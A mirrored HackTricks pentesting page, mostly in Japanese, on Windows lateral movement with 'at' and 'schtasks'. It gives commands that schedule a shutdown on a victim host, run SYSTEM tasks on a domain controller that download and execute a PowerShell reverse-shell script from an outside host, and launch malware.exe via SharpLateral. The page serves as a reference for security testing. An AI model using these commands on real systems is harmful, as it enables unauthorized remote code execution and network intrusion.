mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
3.5 KiB
3.5 KiB
AtExec / SchtasksExec
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
どのように機能するか
Atは、ユーザー名/(パスワード/ハッシュ)を知っているホストでタスクをスケジュールすることを可能にします。したがって、他のホストでコマンドを実行し、その出力を取得するために使用できます。
At \\victim 11:00:00PM shutdown -r
schtasksを使用するには、まずタスクを作成し、その後呼び出す必要があります:
{% code overflow="wrap" %}
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>
{% endcode %}
{% code overflow="wrap" %}
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
{% endcode %}
SharpLateralも使用できます:
{% code overflow="wrap" %}
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
{% endcode %}
More information about the use of schtasks with silver tickets here.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.